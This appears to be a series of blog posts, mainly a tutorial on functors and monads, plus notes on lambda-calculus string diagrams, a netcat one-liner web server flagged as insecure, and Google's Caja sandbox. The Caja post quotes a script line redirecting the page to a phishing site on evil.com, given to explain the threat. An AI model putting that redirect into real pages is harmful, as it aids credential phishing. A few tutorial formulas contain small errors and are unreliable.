Functors and monads

In many languages you have type constructors; given a type A and a type constructor Lift, you get a new type Lift<A>. A functor is a type constructor together with a function

   lift: (A -> B) -> (Lift<A> -> Lift<B>)

that preserves composition and identities. If h is the composition of two other functions g and f

   h (a) = g (f (a)),

then lift (h) is the composition of lift (g) and lift (f)

   lift (h) (la) = lift (g) (lift (f) (la)).

Similarly, if h is the identity function on variables of type A

   h (a: A) = a,

then lift (h) will be the identity on variables of type Lift<A>

   lift (h) (la : Lift<A>) = la.

Examples:

• Multiplication
  Lift<> adjoins an extra integer to any type:

     Lift<A> = Pair<A, int>

  The function lift() pairs up f with the identity function on integers:

     lift (f) = (f, id)

• Concatenation
  Lift<> adjoins an extra string to any type:

     Lift<A> = Pair<A, string>

  The function lift() pairs up f with the identity function on strings:

     lift (f) = (f, id)

• Composition
  Let Env be a type representing the possible states of the environment and

     Effect = Env -> Env

  Also, we’ll be explicit in the type of the identity function

     id<A>: A -> A
     id<A> (a) = a,

  so one possible Effect is id<Env>, the “trivial side-effect”.

  Then Lift<> adjoins an extra side-effect to any type:

     Lift<A> = Pair<A, Effect>

  The function lift() pairs up f with the trivial side-effect:

     lift (f) = (f, id<Env>)

• Lists
  The previous three examples used the Pair type constructor to adjoin an extra value. This functor is slightly different. Here, Lift<> takes any type A to a list of A’s:

     Lift<A> = List<A>

  The function lift() is the function map():

     lift = map

• Double negation, or the continuation passing transform
  In a nice type system, there’s the Unit type, with a single value, and there’s also the Empty type, with no values (it’s “uninhabited”). The only function of type X -> Empty is the identity function id<Empty>. This means that we can think of types as propositions, where a proposition is true if it’s possible to construct a value of that type. We interpret the arrow as implication, and negation can be defined as “arrowing into Empty“: let T be a “true” type and F = Empty. Then T -> F = F (since T -> F is uninhabited) and F -> F = T (that is, we can construct the identity function of type F -> F).

  Functions correspond to constructive proofs. “Negation” of a proof is changing it into its contrapositive form:

    If A then B => If NOT B then NOT A.

  Double negation is doing the contrapositive twice:

    IF A then B => If NOT NOT A then NOT NOT B.

  Here, Lift<> is double negation:

     Lift<A> = (A -> F) -> F.

  The function lift takes a proof to its double contrapositive:

     lift: (A -> B)   ->   ((A -> F) -> F) -> ((B -> F) -> F)
     lift  (f) (k1) (k2) = k1 (lambda (a) { k2 (f (a)) })

Monads

A monad is a functor together with two functions

   m: Lift<Lift<A>> -> Lift<A>
   e: A -> Lift<A>

satisfying some conditions I’ll get to in a minute.

Examples:

• Multiplication
  If you adjoin two integers, m() multiplies them to get a single integer:

     m: Pair<Pair<A, int>, int> -> Pair<A, int>
     m  (a, i, j)               =  (a, i * j).

  The function e() adjoins the multiplicative identity, or “unit”:

     e: A   -> Pair<A, int>
     e  (a) = (a, 1)

• Concatenation
  If you adjoin two strings, m() concatenates them to get a single string:

     m: Pair<Pair<A, string>, string> -> Pair<A, string>
     m  (a, s, t)                     =  (a, s + t).

  The function e() adjoins the identity for concatenation, the empty string:

     e: A   -> Pair<A, string>
     e  (a) = (a, "")

• Composition
  If you adjoin two side-effects, m() composes them to get a single effect:

     m: Pair<Pair<A, Effect>, Effect> -> Pair<A, Effect>
     m  (a, s, t)                     =  (a, t o s),

  where

     (t o s) (x) = t (s (x)).

  The function e() adjoins the identity for composition, the identity function on Env:

     e: A   -> Pair<A, Effect>
     e  (a) = (a, id<Env>)

• Lists
  If you have two layers of lists, m() flattens them to get a single layer:

     m: List<List<A>> -> List<A>
     m = flatten

  The function e() makes any element of A into a singleton list:

     e: A -> List<A>
     e (a) = [a]

• Double negation, or the continuation passing transform
  If you have a quadruple negation, m() reduces it to a double negation:

     m: ((((A -> F) -> F) -> F) -> F)   ->  ((A -> F) -> F)
     m (k1) (k2) = k1 (lambda (k3) { k3 (k2) })

  The function e() is just reverse application:

     e: A -> (A -> F) -> F
     e (a) (k) = k (a)

The conditions that e and m have to satisfy are that m is associative and e is a left and right unit for m. In other words, assume we have

   llla: Lift<Lift<Lift<A>>>
   la: Lift<A>

Then

   m (lift (m) (llla))  =  m (m (llla))

and

   m (e (la))  =  m (lift (e) (la))  =  la

Examples:

• Multiplication:
  There are two different ways we can use lifting with these two extra functions e() and m(). The first is applying lift() to them. When we apply lift to m(), it acts on three integers instead of two; but because

     lift (m) = (m, id),

  it ignores the third integer:

     lift (m) (a, i, j, k) = (a, i * j, k).

  Similarly, lifting e() will adjoin the multiplicative unit, but will leave the last integer alone:

     lift (e) = (e, id)
     lift (e) (a, i) = (a, 1, i)

  The other way to use lifting with m() and e() is to apply Lift<> to their input types. This specifies A as Pair<A', int>, so the first integer gets ignored:

     m (a, i, j, k) = (a, i, j * k)
     e (a, i) = (a, i, 1)

  Now when we apply m() to all of these, we get the associativity and unit laws. For associativity we get

     m (lift (m) (a, i, j, k)) = m(a, i * j, k) = (a, i * j * k)
     m (m (a, i, j, k)) = m(a, i, j * k) = (a, i * j * k)

  and for unit, we get

     m (lift (e) (a, i)) = m (a, 1, i) = (a, 1 * i) = (a, i)
     m (e (a, i)) = m (a, i, 1) = (a, i * 1) = (a, i)

• Concatenation
  There are two different ways we can use lifting with these two extra functions e() and m(). The first is applying lift() to them. When we apply lift to m(), it acts on three strings instead of two; but because

     lift (m) = (m, id),

  it ignores the third string:

     lift (m) (a, s, t, u) = (a, s + t, u).

  Similarly, lifting e() will adjoin the empty string, but will leave the last string alone:

     lift (e) = (e, id)
     lift (e) (a, s) = (a, "", s)

  The other way to use lifting with m() and e() is to apply Lift<> to their input types. This specifies A as Pair<A', string>, so the first string gets ignored:

     m (a, s, t, u) = (a, s, t + u)
     e (a, s) = (a, s, 1)

  Now when we apply m() to all of these, we get the associativity and unit laws. For associativity we get

     m (lift (m) (a, s, t, u)) = m(a, s + t, u) = (a, s + t + u)
     m (m (a, s, t, u)) = m(a, s, t + u) = (a, s + t + u)

  and for unit, you get

     m (lift (e) (a, s)) = m (a, "", s) = (a, "" + s) = (a, s)
     m (e (a, s)) = m (a, s, "") = (a, s + "") = (a, s)

• Composition
  There are two different ways we can use lifting with these two extra functions e() and m(). The first is applying lift() to them. When we apply lift to m(), it acts on three effects instead of two; but because

     lift (m) = (m, id<Effect>),

  it ignores the third effect:

     lift (m) (a, s, t, u) = (a, t o s, u).

  Similarly, lifting e() will adjoin the identity function, but will leave the last string alone:

     lift (e) = (e, id<Env>)
     lift (e) (a, s) = (a, id<Env>, s)

  The other way to use lifting with m() and e() is to apply Lift<> to their input types. This specifies A as Pair<A', Effect>, so the first effect gets ignored:

     m (a, s, t, u) = (a, s, u o t)
     e (a, s) = (a, s, id<Env>)

  Now when we apply m() to all of these, we get the associativity and unit laws. For associativity we get

     m (lift (m) (a, s, t, u)) = m(a, t o s, u) = (a, u o t o s)
     m (m (a, s, t, u)) = m(a, s, u o t) = (a, u o t o s)

  and for unit, you get

     m (lift (e) (a, s)) = m (a, id<Env>, s) = (a, s o id<Env>) = (a, s)
     m (e (a, s)) = m (a, s, id<Env>) = (a, id<Env> o s) = (a, s)

• Lists
  There are two different ways we can use lifting with these two extra functions e() and m(). The first is applying lift() to them. When we apply lift to m(), it acts on three layers instead of two; but because

     lift (m) = map (m),

  it ignores the third (outermost) layer:

       lift (m) ([[[a, b, c], [], [d, e]], [[]], [[x], [y, z]]])
     = [[a, b, c, d, e], [], [x, y, z]]

  Similarly, lifting e() will make singletons, but will leave the outermost layer alone:

     lift (e) ([a, b, c]) = [[a], [b], [c]]

  The other way to use lifting with m() and e() is to apply Lift<> to their input types. This specifies A as List<A'>, so the *innermost* layer gets ignored:

       m ([[[a, b, c], [], [d, e]], [[]], [[x], [y, z]]])
     = [[a, b, c], [], [d, e], [], [x], [y, z]]
  
     e ([a, b, c]) = [[a, b, c]]

  Now when we apply m() to all of these, we get the associativity and unit laws. For associativity we get

       m (lift (m) ([[[a, b, c], [], [d, e]], [[]], [[x], [y, z]]]))
     = m([[a, b, c, d, e], [], [x, y, z]])
     = [a, b, c, d, e, x, y, z]
  
       m (m ([[[a, b, c], [], [d, e]], [[]], [[x], [y, z]]]))
     = m([[a, b, c], [], [d, e], [], [x], [y, z]])
     = [a, b, c, d, e, x, y, z]

  and for unit, we get

     m (lift (e) ([a, b, c])) = m ([[a], [b], [c]]) = [a, b, c]
     m (e ([a, b, c])) = m ([[a], [b], [c]]) = [a, b, c]

Monads in Haskell style, or “Kleisli arrows”

Given a monad (Lift, lift, m, e), a Kleisli arrow is a function

   f: A -> Lift<B>,

so the e() function in a monad is already a Kleisli arrow. Given

   g: B -> Lift<C>

we can form a new Kleisli arrow

   (g >>= f): A -> Lift<C>
   (g >>= f) (a) = m (lift (g) (f (a))).

The operation >>= is called “bind” by the Haskell crowd. You can think of it as composition for Kleisli arrows; it’s associative, and e() is the identity for bind. e() is called “return” in that context. Sometimes code is less complicated with bind and return instead of m and e.

If we have a function f: A -> B, we can turn it into a Kleisli arrow by precomposing with e():

   (e o f): A -> Lift<B>
   (e o f) (a) = e (f (a)) = return (f (a)).

Example:

• Double negation, or the continuation passing style transform
  To change a function f: A -> B into a Kleisli arrow (i.e. continuized function), we use return:

       CPS (f) (a) (k)
     = (return f (a)) (k)
     = (e o f) (a) (k)
     = e (f (a)) (k)
     = k (f (a))

  Given two Kleisli arrows

     f: A -> (B -> F) -> F

  and

     g: B -> (C -> F) -> F,

  we can bind them:

       (g >>= f) (a) (k)
     = m (lift (g) (f (a))) (k) // defn of bind
     = lift (g) (f (a)) (lambda (k3) { k3 (k) }) // defn of m
     = f (a) (lambda (b) { (lambda (k3) { k3 (k) }) (g (b)) }) // defn of lift
     = f (a) (lambda (b) { g (b) (k) }),

  which is just what we wanted.

  In particular, if f and g are really just continuized functions

     f = (e o r)
     g = (e o s)

  then

       f (a) (lambda (b) { g (b) (k) })
     = (e o r) (a) (lambda (b) { (e o s) (b) (k) })
     = (e o r) (a) (lambda (b) { k (s (b)) })
     = (e o r) (a) (k o s)
     = (k o s) (r (a))
     = k (s (r (a)))
     = (e o (s o r)) (a) (k)
     = CPS (s o r) (a) (k)

  so

     CPS (s o r) = CPS (s) >>= CPS (r).

The first 220 milliseconds of an https connection

http://www.moserware.com/2009/06/first-few-milliseconds-of-https.html

My talk at Perimeter Institute

I spent last week at the Perimeter Institute, a Canadian institute founded by Mike Lazaridis (CEO of RIM, maker of the BlackBerry) that sponsors research in cosmology, particle physics, quantum foundations, quantum gravity, quantum information theory, and superstring theory. The conference, Categories, Quanta, Concepts, was organized by Bob Coecke and Andreas Döring. There were lots of great talks, all of which can be found online, and lots of good discussion and presentations, which unfortunately can’t. (But see Jeff Morton’s comments.) My talk was on the Rosetta Stone paper I co-authored with Dr. Baez.

‘t Hooft, Baez on becoming a good theoretical physicist

Nobel Laureate Gerard ‘t Hooft: Stuff you need to know in order to do theoretical physics, with links to sites & papers that teach it

My advisor, John Baez: How to teach stuff, Lists of good books for learning the necessary math & physics

Good object oriented coding practices = object-capability security

OOP idea	Corresponding attribute of the Principle of least authority
Separation of duties	Separation of Authority
Information hiding	Integrity
Message passing	Authorization
Dependency injection	Authority injection

An analogy from Mike Samuel, the Caja Tech Lead.

Great flash tutorial

http://www.kongregate.com/labs

Also http://www.kongregate.com/forums/11/topics/23746 for doing it all with free tools.

One-liner webserver

mkfifo backpipe; while true; do head -1 backpipe | (echo -n .; cut -f2 -d\ ) | xargs -L1 cat | nc -l 8080 > backpipe; done;

This is for a mac; for netcat on linux you’d say nc -l -p 8080. Note that this is in no way secure! A directory traversal attack is the most obvious one; there’s probably an injection attack, too.

Syntactic string diagrams

I hit on the idea of making lambda a node in a string diagram, where its inputs are an antivariable and a term in which the variable is free, and its output is the same term, but in which the variable is bound.  This allows a string diagram notation for lambda calculus that is much closer to the syntactical description than the stuff in our Rosetta Stone paper. Doing it this way makes it easy to also do pi calculus and blue calculus.

There are two types, V (for variable) and T (for term). I’ve done untyped lambda calculus, but it’s straightforward to add subscripts to the types V and T to do typed lambda calculus.

There are six function symbols:

• Lambda takes an antivariable and a term that may use the corresponding variable.
• This turns an antivariable “x” introduced by lambda into the term “x”.
• (Application) This takes and and produces .
• 
• 
• These two mean we can duplicate and delete terms.

The rule is the real meat of the computation. The “P” is an arbitrary subdiagram. The effect is replacing the “A” application node with the “P” subdiagram, modulo some wiring.

I label the upwards arrows out of lambdas with a variable name in parentheses; this is just to assist in matching up the syntactical representation with the string diagram.

In the example, I surround part of the diagram with a dashed line; this is the part to which the rule applies. Within that, I surround part with a dash-dot line; this is the subdiagram P in the rule.

When I do blue calculus this way, there are a few more function symbols and the relations aren’t confluent, but the flavor is very much the same.

String diagrams for untyped lambda calculus

An example calculation

Imaginary time

Statics (geometric = no time):
	[xlength]	x coordinate
	[X]	proportionality constant
	[ylength]	y coordinate
	[ylength / xlength]	slope
	[X ylength^2 / xlength^2]	proportional to curvature
	[X ylength^2 / xlength^2]	original shape
	[X ylength^2 / xlength]	distortion
Statics (with energy):
	[xlength]	x coordinate
	[mass xlength / time^2]	force due to stretching spring by dx
	[ylength]	y coordinate
	[ylength / xlength]	slope at s
	[mass ylength^2 / time^2 xlength]	stretching energy density
	[mass ylength^2 / time^2 xlength]	gravitational energy density
	[mass ylength^2 / time^2]	energy (dS = 0 at equilibrium)
Dynamics ():
	[time]	time
	[mass]	mass
	[ylength]	y coordinate
	[ylength / i time]	i * velocity
	[mass ylength^2 / time^2]	kinetic energy
	[mass ylength^2 / time^2]	potential energy
	[mass ylength^2 / i time]	i * action

See also Toby Bartels‘ sci.physics post.

Caja on Yahoo!

Here at Google, I’m working on an open-source project called Caja.  The name is Spanish for box or vault, and is pronounced “KA-hah”.

The general idea of Caja could be summed up as “virtual iFrames”.  An iFrame is a little webpage stuck inside a bigger one, like a gadget in iGoogle or YAP.  Web browsers use a security policy called the “same-domain policy”, which means that only a web page that came from Google’s servers should be allowed to cause changes to your Google-hosted data: you don’t want to allow the “pet turtle” gadget to delete all your email.  So the way iGoogle protects your email is by putting the turtle gadget on a different domain, http://gmodules.com.

The same-domain policy does a good job of making it hard for gadgets to work together and a mediocre job of insulating mutually suspicious gadgets from each other; cross-site scripting (XSS) is a constant threat for any web site.  Making sure you properly sanitize every use of user-supplied information is like trying to avoid getting a cold while surrounded by forty sniffling kindergarteners.

Also, even if you do manage to prevent XSS entirely, iFrames do nothing to prevent redirecting the page: it’s trivial for a gadget to tell your web browser to go to a page that looks like the Google login page, but really sends your password to the bad guys.  All it has to do is include this line of code:

<script>window.top.location = “http://www.evil.com/phishing.html”;</script>

Caja addresses all these issues.  On a gadget site like YAP, instead of sending your web browser a page with a bunch of iFrames, each of which causes your web browser to fetch a gadget, Yahoo’s server fetches the gadgets first and rewrites them with Caja, inserting code that looks at every operation the gadget tries to do.  It also replaces the objects that code usually has access to, like window above, and replaces them with fake ones.  The fake window object doesn’t have a working top.location property, so the gadget can’t redirect the page.  The DOM objects sanitize strings passed to innerHTML and remove script blocks, so XSS is impossible.  By letting two gadgets see the same variable, they can communicate with each other.  Outgoing links are rewritten so that they pass through Yahoo’s proxy server, where the links can be checked in real time for malware.

With the lauch of My Yahoo! and Yahoo! Mail gadgets, we’ve got 275 million users.  The best part is that we’re hardly mentioned anywhere: it’s so unobtrusive, that developers don’t even notice the restrictions.  (But you can read about Caja on Yahoo’s site.)  iGoogle’s sandbox also allows you to play with Caja today; it should go live next month, and we’re hoping to get Caja into several other Google properties as the year progresses.